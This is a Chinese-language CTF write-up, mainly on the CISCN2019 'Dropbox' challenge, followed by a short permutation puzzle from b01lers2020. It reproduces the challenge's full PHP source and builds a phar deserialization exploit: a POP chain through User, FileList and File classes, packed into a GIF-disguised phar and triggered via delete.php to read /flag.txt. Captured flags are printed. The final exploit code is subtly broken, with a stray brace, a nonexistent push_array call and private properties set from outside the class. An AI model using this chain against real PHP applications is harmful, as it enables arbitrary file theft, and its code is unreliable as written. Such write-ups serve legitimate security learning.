[CISCN2019 华北赛区 Day1 Web1]Dropbox
思路
注册登陆后,发现可以上传、下载文件,只能上传图片

下载文件的地方发现,是通过filename来索引的

可以先看源码
login.php
// login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注åæå', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('è´¦å·æå¯ç é误', 'warning');</script>";
}
?>
register.php
// register.php
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('æ¤ç¨æ·å已被使ç¨', 'warning');</script>";
die();
}
}
echo "<script>toast('请è¾å
¥ææç¨æ·ååå¯ç ', 'warning');</script>";
}
?>
index.php
// index.php
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
class.php
// class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
download.php
// download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
upload.php
// upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
delete.php
// delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
解题
看WP
phar://是php文件协议中读取压缩文件的协议
该协议会将用户元数据序列化
很多函数在解析phar协议时,会将其中的元数据反序列化,这里就可以利用了

phar的基本构造:
<?php
class User {
public $db;
}
$user = new User();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
phar的基本结构是这样的:
- stub:类似于标志,是phar识别phar文件的依据
基本格式为:<?php xxx; __HALT_COMPILER();?>,关键在于__HALT_COMPILER();?>,前面的部分无所谓 - manifest:清单,记录phar压缩信息,权限、属性等
如下:可以看到,其中meta-data是序列化格式的

- contents:文件内容
- signature:签名
我们先找找能利用反序列化的地方
首先看到File->close()方法,可以实现任意文件读取
<?php
// class定义
$a = new File();
$a->filename = "flag.txt";
$a->close();
找可以调用close的地方,发现User->__destruct()可以
<?php
// class定义
$a = new File();
$a->filename = "flag.txt";
$b = new User();
$b->db = $a;
$b->__destruct();
而反序列化会自动触发__destruct(),但是这样有个问题,我们看不到回显
我们需要在某一处有接收的调用的地方,存下file_get_contents("flag.txt")
这里发现FileList->__call()可以利用,它会接收一个函数,然后调用FileList中每个File的这个函数,并记录结果
<?php
// class定义
$a = new File();
$a->filename = "flag.txt";
// $a->close();
$c = new FileList();
$c->files = array($a);
// $c->__call(close);
// $c->close();
$b = new User();
$b->db = $c;
$b->__destruct();
最后把$b塞到phar里面就行
<?php
class File {
public $filename;
}
class User {
public $db;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
$file->filename = "flag.txt";
push_array($this->files, $file);
}
}
}
$c = new FileList();
$b = new User();
$b->db = $c;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
成功保存为phar文件
接下来就是上传,并在delete.php中索引
为什么download不行?因为download限定了open_basedir,不能打开其他文件夹。只有delete可以

这里download.php显示File not exist
另:不是flag.txt,是/flag.txt。这里对flag位置没有经验的话也可以写个脚本

flag{fc600cf5-1ee8-4dd8-afca-a5ce56147359}
注意
phar协议的应用,好好学学
[b01lers2020]Welcome to Earth
思路
跟着js代码一路往前就行
解题
到这里的时候没思路了,因为试了试fight,找不出flag
后来看WP发现,看全排列找就行
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
l = permutations(flag)
for i in l:
words = ''.join(i)
if words.startswith("pctf{hey_boy") and words.endswith("ck!}"):
print(words)
pctf{hey_boyaaaas_im_baaaaaack!}
pctf{hey_boyaaaas_imaaaa_baack!}
pctf{hey_boyaaaa_baas_imaaaack!}
pctf{hey_boyaaaa_baaaaaas_imck!}
pctf{hey_boyaaaaaaaas_im_baack!}
pctf{hey_boyaaaaaaaa_baas_imck!}
pctf{hey_boys_imaaaa_baaaaaack!}
pctf{hey_boys_imaaaaaaaa_baack!}
pctf{hey_boys_im_baaaaaaaaaack!}
pctf{hey_boys_im_baaaaaaaaaack!} # 找到
pctf{hey_boys_imaaaaaaaa_baack!}
pctf{hey_boys_imaaaa_baaaaaack!}
pctf{hey_boy_baaaaaas_imaaaack!}
pctf{hey_boy_baaaaaaaaaas_imck!}
pctf{hey_boy_baas_imaaaaaaaack!}
pctf{hey_boy_baas_imaaaaaaaack!}
pctf{hey_boy_baaaaaaaaaas_imck!}
pctf{hey_boy_baaaaaas_imaaaack!}
pctf{hey_boyaaaaaaaas_im_baack!}
pctf{hey_boyaaaaaaaa_baas_imck!}
pctf{hey_boyaaaas_imaaaa_baack!}
pctf{hey_boyaaaas_im_baaaaaack!}
pctf{hey_boyaaaa_baaaaaas_imck!}
pctf{hey_boyaaaa_baas_imaaaack!}
稍微看看就知道答案是什么了,很有意思的一道题